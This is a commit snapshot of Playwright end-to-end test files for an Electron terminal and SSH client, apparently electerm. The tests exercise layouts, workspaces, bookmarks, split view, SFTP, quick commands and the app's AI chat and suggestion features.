chore: import upstream snapshot with attribution

This commit is contained in:
wehub-resource-sync
2026-07-13 12:46:20 +08:00
commit eb21b65815
830 changed files with 113645 additions and 0 deletions
+93
View File
@@ -0,0 +1,93 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { expect } = require('./common/expect')
const delay = require('./common/wait')
const log = require('./common/log')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { describe } = it
it.setTimeout(100000)
describe('layouts', function () {
it('should create new tabs properly in different layouts', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
const splitMapDesc = {
c1: 'single',
c2: 'twoColumns',
c3: 'threeColumns',
r2: 'twoRows',
r3: 'threeRows',
c2x2: 'grid2x2',
c1r2: 'twoRowsRight',
r1c2: 'twoColumnsBottom'
}
const splitConfig = {
c1: {
children: 1,
handle: 0
},
c2: {
children: 2,
handle: 1
},
c3: {
children: 3,
handle: 2
},
r2: {
children: 2,
handle: 1
},
r3: {
children: 3,
handle: 2
},
c2x2: {
children: 4,
handle: 3
},
c1r2: {
children: 3,
handle: 2
},
r1c2: {
children: 3,
handle: 2
}
}
// Test helper function
async function testLayout (layoutType, expectedTabCount) {
const desc = splitMapDesc[layoutType]
log(`Testing ${desc} layout`)
await client.evaluate((layoutType) => {
window.store.setLayout(layoutType)
}, layoutType)
await delay(1000)
const layoutAfterCount = await client.evaluate(() => {
return document.querySelectorAll('.layout-item').length
})
expect(layoutAfterCount).equal(expectedTabCount)
}
// Test each layout type
const layouts = Object.keys(splitMapDesc).reverse()
for (const layout of layouts) {
await testLayout(layout, splitConfig[layout].children)
}
let dd = await client.countElem('.ant-dropdown')
expect(dd).equal(0)
await client.click('.tabs .layout-dd-icon')
await delay(500)
dd = await client.countElem('.ant-dropdown')
expect(dd).equal(1)
await electronApp.close().catch(console.log)
})
})
+132
View File
@@ -0,0 +1,132 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { expect } = require('./common/expect')
const delay = require('./common/wait')
const log = require('./common/log')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { describe } = it
it.setTimeout(100000)
describe('workspace', function () {
it('workspace feature should work properly', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
// Test 1: Open layout dropdown and verify tabs exist
log('Test 1: Opening layout dropdown')
await client.click('.tabs .layout-dd-icon')
await delay(500)
const dropdown = await client.countElem('.layout-workspace-dropdown')
expect(dropdown).equal(1)
// Test 2: Verify Layout tab is active by default
log('Test 2: Verifying Layout tab is default')
const activeTab = await client.getText('.layout-workspace-dropdown .ant-tabs-tab.ant-tabs-tab-active')
expect(activeTab).includes('Layout')
// Test 3: Switch to Workspaces tab
log('Test 3: Switching to Workspaces tab')
await client.click('.layout-workspace-dropdown .ant-tabs-tab:has-text("Workspaces")')
await delay(300)
// Test 4: Verify workspace content is shown
log('Test 4: Verifying workspace content')
const workspaceContent = await client.countElem('.workspace-menu-content')
expect(workspaceContent).equal(1)
// Test 5: Verify save button exists
log('Test 5: Verifying save button')
const saveBtn = await client.countElem('.workspace-save-btn button')
expect(saveBtn).equal(1)
// Test 6: Click save button to open save modal
log('Test 6: Opening save modal')
await client.click('.workspace-save-btn button')
await delay(300)
const saveModal = await client.countElem('.custom-modal-close')
expect(saveModal).equal(1)
// Test 7: Verify save modal has name input
log('Test 7: Verifying save modal input')
const nameInput = await client.countElem('.custom-modal-wrap .ant-input')
expect(nameInput).greaterThan(0)
// Test 8: Enter a workspace name and save
log('Test 8: Saving workspace')
const workspaceName = 'Test Workspace ' + Date.now()
await client.setValue('.custom-modal-wrap .ant-input', workspaceName)
await delay(200)
await client.click('.custom-modal-wrap .ant-btn-primary:has-text("Save")')
await delay(500)
// Test 9: Verify modal is closed
log('Test 9: Verifying modal closed')
const modalAfterSave = await client.countElem('.custom-modal-close')
expect(modalAfterSave).equal(0)
// Test 11: Open dropdown again and switch to workspace tab
log('Test 11: Reopening dropdown')
await client.click('.tabs .layout-dd-icon')
await delay(300)
await client.click('.layout-workspace-dropdown .ant-tabs-tab:has-text("Workspaces")')
await delay(300)
// Test 12: Verify workspace appears in the list
log('Test 12: Verifying workspace in list')
const workspaceItems = await client.countElem('.workspace-item')
expect(workspaceItems).greaterThan(0)
// Test 13: Verify workspace name is displayed
log('Test 13: Verifying workspace name displayed')
const displayedName = await client.getText('.workspace-name')
expect(displayedName).includes('Test Workspace')
// Test 14: Change layout then load workspace to restore
log('Test 14: Testing workspace load')
// First change layout to something different
await client.click('.layout-workspace-dropdown .ant-tabs-tab:has-text("Layout")')
await delay(300)
await client.click('.layout-menu-item:nth-child(2)') // select c2 layout
await delay(500)
// Reopen dropdown and switch back to Workspaces tab
await client.click('.tabs .layout-dd-icon')
await delay(300)
await client.click('.layout-workspace-dropdown .ant-tabs-tab:has-text("Workspaces")')
await delay(300)
// Now load the workspace by clicking on it
await client.click('.workspace-item')
await delay(500)
// Test 15: Delete workspace
log('Test 15: Testing workspace delete')
// Reopen dropdown
await client.click('.tabs .layout-dd-icon')
await delay(300)
await client.click('.layout-workspace-dropdown .ant-tabs-tab:has-text("Workspaces")')
await delay(300)
// Click delete icon
const deleteIcon = await client.countElem('.workspace-delete-icon')
if (deleteIcon > 0) {
await client.click('.workspace-delete-icon')
await delay(300)
// Confirm delete
await client.click('.ant-popconfirm .ant-btn-primary')
await delay(500)
// Verify workspace deleted
const remainingWorkspaces = await client.countElem('.workspace-item')
expect(remainingWorkspaces).equal(0)
}
await electronApp.close().catch(console.log)
})
})
+68
View File
@@ -0,0 +1,68 @@
const { _electron: electron } = require('@playwright/test')
const { test: it, expect } = require('@playwright/test')
const { describe } = it
const delay = require('./common/wait')
const { nanoid } = require('nanoid')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
describe('Web session', function () {
it('should create a web bookmark and verify history and webview', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
// Get initial history count
const initialHistoryCount = await client.evaluate(() => {
return window.store.history.length
})
// Open bookmark form
await client.click('.btns .anticon-plus-circle')
await delay(500)
// Select web bookmark type
await client.click('.setting-wrap .ant-radio-button-wrapper:has-text("Web")')
await delay(500)
// Generate test data
const bookmarkTitle = 'Web-' + nanoid()
const testUrl = 'https://github.com'
const type = 'web'
// Fill in bookmark details
await client.setValue('.setting-wrap input[id="web-form_title"]', bookmarkTitle)
await client.setValue('.setting-wrap input[id="web-form_url"]', testUrl)
// Save and connect
await client.click('.setting-wrap .ant-btn-primary')
await delay(2000)
// Verify history has been updated
const historyItem = await client.evaluate(() => {
const history = window.store.history
return history[0]
})
expect(historyItem.tab.title).toEqual(bookmarkTitle)
expect(historyItem.tab.type).toEqual(type)
expect(historyItem.tab.url).toEqual(testUrl)
// Verify history count has increased
const newHistoryCount = await client.evaluate(() => {
return window.store.history.length
})
expect(newHistoryCount).toEqual(initialHistoryCount + 1)
// Verify webview loaded the correct URL
await delay(2000)
const webviewUrl = await client.evaluate(() => {
const webview = document.querySelector('webview')
return webview ? webview.getAttribute('src') : ''
})
expect(webviewUrl).toEqual(testUrl + '/')
await electronApp.close().catch(console.log)
})
})
+67
View File
@@ -0,0 +1,67 @@
const { _electron: electron } = require('@playwright/test')
const { test: it, expect } = require('@playwright/test')
const { describe } = it
const delay = require('./common/wait')
const { nanoid } = require('nanoid')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { basicTerminalTest } = require('./common/basic-terminal-test')
describe('Telnet bookmark', function () {
it('should create a telnet bookmark and verify connection', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
// Get initial history count
const initialHistoryCount = await client.evaluate(() => {
return window.store.history.length
})
// Open bookmark form
await client.click('.btns .anticon-plus-circle')
await delay(500)
// Select telnet bookmark type
await client.click('.setting-wrap .ant-radio-button-wrapper:has-text("Telnet")')
await delay(500)
// Generate a unique title for the bookmark
const bookmarkTitle = `Telnet-${nanoid()}`
const testHost = 'telehack.com'
const testPort = '23' // standard telnet port
const type = 'telnet'
// Fill in bookmark details using SSH form IDs
await client.setValue('#telnet-form_host', testHost)
await client.setValue('#telnet-form_title', bookmarkTitle)
await client.setValue('#telnet-form_port', testPort)
// Save and connect
await client.click('.setting-wrap .ant-btn-primary')
await delay(5000) // Need longer delay for telnet connection
// Verify that the history has been updated
const historyItem = await client.evaluate(() => {
const history = window.store.history
return history[0]
})
expect(historyItem.tab.title).toEqual(bookmarkTitle)
expect(historyItem.tab.host).toEqual(testHost)
expect(historyItem.tab.port).toEqual(Number(testPort))
expect(historyItem.tab.type).toEqual(type)
// Verify history count has increased
const newHistoryCount = await client.evaluate(() => {
return window.store.history.length
})
expect(newHistoryCount).toEqual(initialHistoryCount + 1)
// Verify terminal has connected and shows some output
await delay(2000)
await basicTerminalTest(client, 'help')
await electronApp.close().catch(console.log)
})
})
+47
View File
@@ -0,0 +1,47 @@
const { _electron: electron } = require('@playwright/test')
const { test: it } = require('@playwright/test')
const { expect } = require('./common/expect')
const delay = require('./common/wait')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
it('should toggle split view and control tabs correctly', async () => {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
const terminalSection = client.locator('.term-wrap')
const sftpSection = client.locator('.sftp-section')
const splitViewToggle = client.locator('.session-current .split-view-toggle')
const sftpFollowSshIcon = client.locator('.sftp-follow-ssh-icon')
// Check initial state
await expect(terminalSection).toBeVisible()
await expect(sftpSection).toBeHidden()
await expect(splitViewToggle).toBeVisible()
await expect(sftpFollowSshIcon).toBeVisible()
// Click split view toggle
await splitViewToggle.click()
await delay(1000)
// After toggle: both terminal and sftp should be visible
await expect(terminalSection).toBeVisible()
await expect(sftpSection).toBeVisible()
await expect(splitViewToggle).toBeVisible()
await expect(sftpFollowSshIcon).toBeVisible()
// Click split view toggle again
await splitViewToggle.click()
await delay(1000)
// After second toggle: should return to initial state
await expect(terminalSection).toBeVisible()
await expect(sftpSection).toBeHidden()
await expect(splitViewToggle).toBeVisible()
await expect(sftpFollowSshIcon).toBeVisible()
await electronApp.close().catch(console.log)
})
+56
View File
@@ -0,0 +1,56 @@
const { _electron: electron } = require('@playwright/test')
const { test: it } = require('@playwright/test')
const { expect } = require('./common/expect')
const delay = require('./common/wait')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
it('should respect default split view setting when creating new tabs', async () => {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
// Check initial state (split view off by default)
const terminalSection = client.locator('.session-current .term-wrap')
const sftpSection = client.locator('.session-current .sftp-section')
await expect(terminalSection).toBeVisible()
await expect(sftpSection).toBeHidden()
// Change default split view setting to true
await client.evaluate(() => {
window.store._config.sshSftpSplitView = true
})
await delay(500)
// Create new tab
await client.click('.tabs-add-btn')
await delay(500)
await client.click('.add-menu-wrap .context-item:has-text("New tab")')
await client.click('.tabs .tabs-add-btn')
await delay(1000)
// New tab should open with split view enabled
await expect(terminalSection).toBeVisible()
await expect(sftpSection).toBeVisible()
// Change setting back to false
await client.evaluate(() => {
window.store._config.sshSftpSplitView = false
})
await delay(500)
// Create another new tab
await client.click('.tabs-add-btn')
await delay(500)
await client.click('.add-menu-wrap .context-item:has-text("New tab")')
await client.click('.tabs .tabs-add-btn')
await delay(1000)
// New tab should open with split view disabled
await expect(terminalSection).toBeVisible()
await expect(sftpSection).toBeHidden()
await electronApp.close().catch(console.log)
})
+128
View File
@@ -0,0 +1,128 @@
const { _electron: electron } = require('@playwright/test')
const { test: it, expect } = require('@playwright/test')
const { describe } = it
const delay = require('./common/wait')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { spawn } = require('child_process')
const path = require('path')
describe('AI Config and Suggestions', function () {
let aiServer
let electronApp
let client
// Start AI API server before all tests
it.beforeAll(async () => {
const serverPath = path.join(__dirname, 'common', 'ai-api.js')
aiServer = spawn('node', [serverPath])
await new Promise(resolve => setTimeout(resolve, 1000)) // Wait for server to start
})
// Stop AI API server after all tests
it.afterAll(() => {
if (aiServer) {
aiServer.kill()
}
})
it.beforeEach(async () => {
electronApp = await electron.launch(appOptions)
client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(4500)
})
it.afterEach(async () => {
await client.evaluate(() => {
return window.store.setConfig({
showCmdSuggestions: false
})
})
await electronApp.close()
})
it('should open AI setting page and fill configuration', async function () {
// Click AI button to open settings
await client.evaluate(() => {
return window.store.setConfig({
showCmdSuggestions: true
})
})
await client.click('.terminal-footer-ai .ai-icon')
await delay(1000)
// Verify AI setting page is open
await expect(client.locator('.ai-config-modal .ai-config-form')).toBeVisible()
// Fill in the AI configuration form
await client.fill('#baseURLAI', 'http://localhost:43434')
await client.fill('#apiPathAI', '/chat/completions')
await client.fill('#modelAI', 'gpt-3.5-turbo')
await client.fill('#apiKeyAI', 'test-api-key')
await client.fill('#roleAI', 'You are a helpful assistant')
await client.fill('#languageAI', 'English')
// Save the configuration
await client.click('.ai-config-form button[type="submit"]')
await delay(1000)
// Verify the setting panel is closed
await expect(client.locator('.setting-wrap')).not.toBeVisible()
})
it('should verify AI functionality after configuration', async function () {
// Click AI button after configuration
await client.evaluate(() => {
return window.store.setConfig({
showCmdSuggestions: true
})
})
await client.click('.terminal-footer-ai .ai-icon')
await delay(1000)
// Verify that the AI setting page does not open this time
await expect(client.locator('.ai-config-modal .ai-config-form')).not.toBeVisible()
// Verify that AI functionality is triggered instead
await expect(client.locator('.ai-chat-container')).toBeVisible()
})
it('should test AI suggestions functionality', async function () {
// Open a terminal or ensure we're in a context where we can input commands
// You might need to add steps here to open a terminal tab if it's not open by default
// Click AI button after configuration
await client.evaluate(() => {
return window.store.setConfig({
showCmdSuggestions: true
})
})
// Input a command
const testCommand = 'test'
await client.keyboard.type(testCommand)
await delay(100)
await client.keyboard.press('ArrowRight')
await delay(100)
await client.keyboard.press('ArrowRight')
await delay(500)
// Get the initial count of suggestions
const initialSuggestionsCount = await client.locator('.suggestion-item').count()
// Click the "Get AI suggestions" button
await client.click('.terminal-suggestions-sticky div:has-text("Get AI suggestions")')
await delay(2000) // Wait for suggestions to load
// Get the new count of suggestions
const newSuggestionsCount = await client.locator('.suggestion-item').count()
// Verify that the number of suggestions has increased
expect(newSuggestionsCount).toBeGreaterThan(initialSuggestionsCount)
// Verify that the new suggestions start with the input command
const suggestions = await client.locator('.suggestion-item').allTextContents()
for (const suggestion of suggestions) {
expect(suggestion.startsWith(testCommand)).toBeTruthy()
}
})
})
+35
View File
@@ -0,0 +1,35 @@
/**
* basic ssh test
* need TEST_HOST TEST_PASS TEST_USER env set
*/
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const { expect } = require('./common/expect')
const delay = require('./common/wait')
const { basicTerminalTest } = require('./common/basic-terminal-test')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { setupSshConnection } = require('./common/common')
describe('ssh', function () {
it('should open window and basic ssh ls command works', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(4500)
const cmd = 'ls'
await setupSshConnection(client)
await delay(5500)
let tabsCount = await client.elements('.tabs .tabs-wrapper .tab')
tabsCount = await tabsCount.count()
expect(tabsCount).equal(2)
await delay(4010)
await basicTerminalTest(client, cmd)
await electronApp.close().catch(console.log)
})
})
+81
View File
@@ -0,0 +1,81 @@
const { _electron: electron } = require('@playwright/test')
const { test: it, expect } = require('@playwright/test')
const { describe } = it
const delay = require('./common/wait')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
describe('Terminal Suggestions Dropdown', function () {
let electronApp
let client
it.beforeEach(async () => {
electronApp = await electron.launch(appOptions)
client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(4500)
await client.evaluate(() => {
return window.store.setConfig({
showCmdSuggestions: true
})
})
})
it.afterAll(async () => {
await client.evaluate(() => {
return window.store.setConfig({
showCmdSuggestions: false
})
})
await electronApp.close()
})
it('should show suggestions based on command history and handle deletion', async function () {
await delay(1500)
// Type the partial command and check initial suggestions count
const partialCommand = 'test-unique'
await client.keyboard.type(partialCommand)
await delay(100)
await client.keyboard.press('ArrowRight')
await delay(100)
await client.keyboard.press('ArrowRight')
// Verify suggestions panel is visible
const suggestionElement = await client.locator('.terminal-suggestions-wrap').first()
await expect(suggestionElement).toBeVisible()
// Count initial suggestions for our partial command
const initialSuggestions = await client.locator('.suggestion-item').count()
// Continue typing to make it a unique command
await client.keyboard.type('-command-' + Date.now())
// Verify AI suggestions button
const aiSuggestionsButton = await client.locator('.terminal-suggestions-sticky div').first()
await expect(aiSuggestionsButton).toBeVisible()
await expect(aiSuggestionsButton).toHaveText('Get AI suggestions')
// Press Enter to execute command
await client.keyboard.press('Enter')
await expect(suggestionElement).toBeHidden()
await delay(1000)
// Type the same partial command again
await client.keyboard.type(partialCommand)
await delay(100)
await client.keyboard.press('ArrowRight')
await delay(100)
await client.keyboard.press('ArrowRight')
// Verify suggestions are visible again
// The suggestions list should filter commands that start with the partial input
await expect(suggestionElement).toBeVisible()
// Verify suggestion count increased for the same partial command
const newSuggestionsCount = await client.locator('.suggestion-item').count()
expect(newSuggestionsCount).toBeGreaterThan(initialSuggestions)
// Press Enter to close suggestions
await client.keyboard.press('Enter')
await expect(suggestionElement).toBeHidden()
})
})
+82
View File
@@ -0,0 +1,82 @@
const { _electron: electron } = require('@playwright/test')
const { test: it, expect } = require('@playwright/test')
const { describe } = it
const delay = require('./common/wait')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { spawn } = require('child_process')
const path = require('path')
describe('AI Config and Suggestions', function () {
let aiServer
let electronApp
let client
// Start AI API server before all tests
it.beforeAll(async () => {
const serverPath = path.join(__dirname, 'common', 'ai-api.js')
aiServer = spawn('node', [serverPath])
await new Promise(resolve => setTimeout(resolve, 1000)) // Wait for server to start
})
// Stop AI API server after all tests
it.afterAll(() => {
if (aiServer) {
aiServer.kill()
}
})
it.beforeEach(async () => {
electronApp = await electron.launch(appOptions)
client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(4500)
})
it.afterEach(async () => {
await electronApp.close()
})
it('should verify AI functionality after configuration', async function () {
// Open AI chat
await client.click('.terminal-footer-ai .ai-icon')
await delay(1000)
// Verify AI chat is open
await expect(client.locator('.ai-chat-container')).toBeVisible()
// Get initial chat history count
const initialHistoryCount = await client.locator('.chat-history-item').count()
// Enter a test prompt
const testPrompt = 'Hello, AI assistant! Please provide a long response.'
await client.fill('.ai-chat-textarea', testPrompt)
// Submit the prompt
await client.click('.ai-chat-terminals .anticon-send')
// Wait for response (adjust delay if needed)
await delay(5000)
// Get new chat history count
const newHistoryCount = await client.locator('.chat-history-item').count()
// Verify chat history increased by 1
expect(newHistoryCount).toBe(initialHistoryCount + 1)
// Verify the last chat history item contains the test prompt
const lastChatItem = await client.locator('.chat-history-item').last()
const promptContent = await lastChatItem.locator('.ant-alert-title').textContent()
expect(promptContent).toContain(testPrompt)
// Test clear history functionality
await client.click('.ai-chat-terminals .clear-ai-icon')
await delay(500)
await client.click('.ant-popover .ant-btn-primary')
await delay(1000)
// Verify that the chat history is now empty
const finalHistoryCount = await client.locator('.chat-history-item').count()
expect(finalHistoryCount).toBe(0)
})
})
+88
View File
@@ -0,0 +1,88 @@
const { _electron: electron } = require('@playwright/test')
const { test: it, expect } = require('@playwright/test')
const { describe } = it
const delay = require('./common/wait')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { spawn } = require('child_process')
const path = require('path')
describe('Terminal Explain with AI', function () {
let aiServer
let electronApp
let client
// Start AI API server before all tests
it.beforeAll(async () => {
const serverPath = path.join(__dirname, 'common', 'ai-api.js')
aiServer = spawn('node', [serverPath])
await new Promise(resolve => setTimeout(resolve, 1000)) // Wait for server to start
})
// Stop AI API server after all tests
it.afterAll(() => {
if (aiServer) {
aiServer.kill()
}
})
it.beforeEach(async () => {
electronApp = await electron.launch(appOptions)
client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(4500)
})
it.afterEach(async () => {
await client.evaluate(() => {
return window.store.setConfig({
showCmdSuggestions: false
})
})
await electronApp.close()
})
it('should explain selected text with AI', async function () {
// Type some text in the terminal
await client.evaluate(() => {
return window.store.setConfig({
showCmdSuggestions: true
})
})
const testCommand = 'ls -la'
await client.type('.xterm-helper-textarea', testCommand)
await client.keyboard.press('Enter')
await delay(1000)
// Use terminal's built-in select all command (usually Cmd+A or Ctrl+A)
await client.keyboard.press(process.platform === 'darwin' ? 'Meta+A' : 'Control+A')
await delay(500)
// Right-click to open context menu
await client.rightClick('.term-wrap', 10, 10)
await delay(500)
// Click "Explain with AI" in the context menu
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Explain with AI")')
// Verify that the AI panel is opened
await expect(client.locator('.ai-chat-container')).toBeVisible()
// Verify that the selected text is sent to AI for explanation
// await delay(500)
// const aiChatTextarea = client.locator('.ai-chat-textarea')
// await expect(aiChatTextarea).toHaveValue('explain terminal output')
// Verify that the AI response is received
await delay(3000) // Wait for AI response
const aiResponse = client.locator('.chat-history-item:last-child')
await expect(aiResponse).toBeVisible()
// Check if the response contains some expected content
await expect(aiResponse).toContainText('Response to your query', { timeout: 10000 })
// Verify that the response is not empty
const responseText = await aiResponse.textContent()
expect(responseText.length).toBeGreaterThan(0)
})
})
+74
View File
@@ -0,0 +1,74 @@
/**
* info panel test
* need TEST_HOST TEST_PASS TEST_USER env set
*/
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const { expect } = require('./common/expect')
const delay = require('./common/wait')
const log = require('./common/log')
const { TEST_HOST } = require('./common/env')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { setupSshConnection } = require('./common/common')
describe('info panel', function () {
it('info panel should work in both local and ssh terminals', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(4500)
// Get initial activeTabId
const initialTabId = await client.evaluate(() => {
return window.store.activeTabId
})
// Test local terminal info panel
log('click info icon for local terminal')
await client.click('.terminal-footer-info .terminal-info-icon')
await delay(1000)
await client.hasElem('.right-side-panel')
let panelContent = await client.getText('.right-side-panel-content')
expect(panelContent).includes(initialTabId)
// Create SSH connection
log('create ssh connection')
await setupSshConnection(client)
await delay(8500)
// Get SSH tab ID and verify info panel content
const sshTabId = await client.evaluate(() => {
return window.store.activeTabId
})
expect(sshTabId !== initialTabId).equal(true)
panelContent = await client.getText('.right-side-panel-content')
expect(panelContent).includes(sshTabId)
// Switch back to local tab
log('switch back to local tab')
await client.click('.tabs .tab', 0)
await delay(1000)
panelContent = await client.getText('.right-side-panel-content')
expect(panelContent).includes(initialTabId)
expect(panelContent.includes(TEST_HOST)).equal(false)
// Close info panel
log('close info panel')
await client.click('.right-side-panel-close')
await delay(500)
const panelCount = await client.countElem('.right-side-panel')
expect(panelCount).equal(0)
await electronApp.close().catch(console.log)
})
})
+65
View File
@@ -0,0 +1,65 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const delay = require('./common/wait')
const log = require('./common/log')
const { expect } = require('./common/expect')
const appOptions = require('./common/app-options')
const {
TEST_HOST,
TEST_PASS,
TEST_USER,
TEST_PORT
} = require('./common/env')
const e = require('./common/lang')
const extendClient = require('./common/client-extend')
describe('bookmarks', function () {
it('all buttons open proper bookmark tab', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(5500)
log('button:edit')
await client.click('.btns .anticon-plus-circle')
await delay(2500)
const sel = '.setting-wrap .ant-tabs-nav-list .ant-tabs-tab-active'
await client.hasElem(sel)
const text = await client.getText(sel)
expect(text).equal(e('bookmarks'))
log('auto focus works')
await client.hasFocus('.setting-wrap #ssh-form_host')
log('default username = ""')
const v = await client.getValue('.setting-wrap #ssh-form_username')
expect(v).equal('')
log('default port = 22')
const v1 = await client.getValue('.setting-wrap #ssh-form_port')
expect(v1).equal('22')
log('save it')
const bookmarkCountPrev = await client.evaluate(() => {
return window.store.bookmarks.length
})
await client.setValue('.setting-wrap #ssh-form_host', TEST_HOST)
await client.setValue('.setting-wrap #ssh-form_username', TEST_USER)
await client.setValue('.setting-wrap #ssh-form_password', TEST_PASS)
await client.setValue('.setting-wrap #ssh-form_port', TEST_PORT)
// const list0 = await client.elements('.setting-wrap .tree-item')
await client.click('.setting-wrap .ant-btn-primary')
await delay(1000)
const bookmarkCount = await client.evaluate(() => {
return window.store.bookmarks.length
})
// const list = await client.elements('.setting-wrap .tree-item')
// await delay(100)
expect(bookmarkCount).equal(bookmarkCountPrev + 1)
await electronApp.close().catch(console.log)
})
})
+30
View File
@@ -0,0 +1,30 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const os = require('os')
const delay = require('./common/wait')
const { basicTerminalTest } = require('./common/basic-terminal-test')
const platform = os.platform()
const isWin = platform.startsWith('win')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
// if (!process.env.LOCAL_TEST && isOs('darwin')) {
// return
// }
describe('terminal', function () {
it('should open window and local terminal ls/dir command works', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
const cmd = isWin
? 'dir'
: 'ls'
await delay(13500)
await basicTerminalTest(client, cmd)
await electronApp.close().catch(console.log)
})
})
+71
View File
@@ -0,0 +1,71 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const log = require('./common/log')
const { expect } = require('./common/expect')
const delay = require('./common/wait')
const nanoid = require('./common/uid')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const {
closeApp,
createFile,
createFolder,
deleteItem,
enterFolder,
navigateToParentFolder,
selectAllContextMenu,
setupSftpConnection,
verifyCurrentPath,
verifyFileExists,
verifyFileNotExists
} = require('./common/common')
describe('local file manager', function () {
it('should open window and basic sftp works', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
// make a local folder
await setupSftpConnection(client)
log('009 -> add folder')
const fname = '00000test-electerm' + nanoid()
await createFolder(client, 'local', fname)
expect(await verifyFileExists(client, 'local', fname)).equal(true)
// enter folder
await enterFolder(client, 'local', fname)
expect(await verifyCurrentPath(client, 'local', fname)).equal(true)
// new file
log('009 -> add file')
const fname00 = '00000test-electerm' + nanoid()
await createFile(client, 'local', fname00)
expect(await verifyFileExists(client, 'local', fname00)).equal(true)
// select all and del Control
log('009 -> select all')
await selectAllContextMenu(client, 'local')
await client.keyboard.press('Delete')
await delay(420)
await client.keyboard.press('Enter')
await delay(4000)
expect(await verifyFileNotExists(client, 'local', fname00)).equal(true)
// goto parent
log('009 -> goto parent')
await navigateToParentFolder(client, 'local')
expect(await verifyFileExists(client, 'local', fname)).equal(true)
// del folder
log('009 -> del folder')
await deleteItem(client, 'local', fname)
expect(await verifyFileNotExists(client, 'local', fname)).equal(true)
await closeApp(electronApp, __filename)
})
})
+64
View File
@@ -0,0 +1,64 @@
/**
* quick commands test
* need TEST_HOST TEST_PASS TEST_USER env set
*/
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const { expect } = require('./common/expect')
const delay = require('./common/wait')
const log = require('./common/log')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
describe('quick commands', function () {
it('quick commands form', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
log('open setting')
await delay(2000)
await client.click('.btns .anticon-setting')
await delay(2500)
log('click quick commands')
await client.click('.setting-tabs [role="tab"]', 3)
// await client.click('.setting-tabs [role="tab"]', 4)
await client.setValue(
'.setting-tabs-quick-commands input#name',
'ls'
)
await client.setValue(
'.setting-tabs-quick-commands textarea.ant-input',
'ls'
)
const qmlist1 = await client.countElem('.setting-tabs-quick-commands .item-list-unit')
await delay(150)
await client.click('.setting-tabs-quick-commands .ant-btn-primary')
await delay(2550)
const qmlist2 = await client.countElem('.setting-tabs-quick-commands .item-list-unit')
expect(qmlist2).equal(qmlist1 + 1)
await client.evaluate(() => {
window.store.updateTab(window.store.activeTabId, {
quickCommands: [
{
name: 'xx',
command: 'ls'
}
]
})
})
await delay(1150)
const c1 = await client.evaluate(() => {
return window.store.quickCommands.length
})
const c2 = await client.evaluate(() => {
return window.store.currentQuickCommands.length
})
expect(c2).equal(c1 + 1)
await electronApp.close().catch(console.log)
})
})
+60
View File
@@ -0,0 +1,60 @@
/**
* quick commands execution test
*/
const { _electron: electron } = require('@playwright/test')
const {
test: it,
expect
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const delay = require('./common/wait')
const log = require('./common/log')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { getTerminalContent } = require('./common/basic-terminal-test')
describe('quick commands execution', function () {
it('should execute quick command when clicked in quick command box', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
const initialContent = await getTerminalContent(client)
await client.evaluate(() => {
window.store.addQuickCommand({
name: 'ls',
commands: [
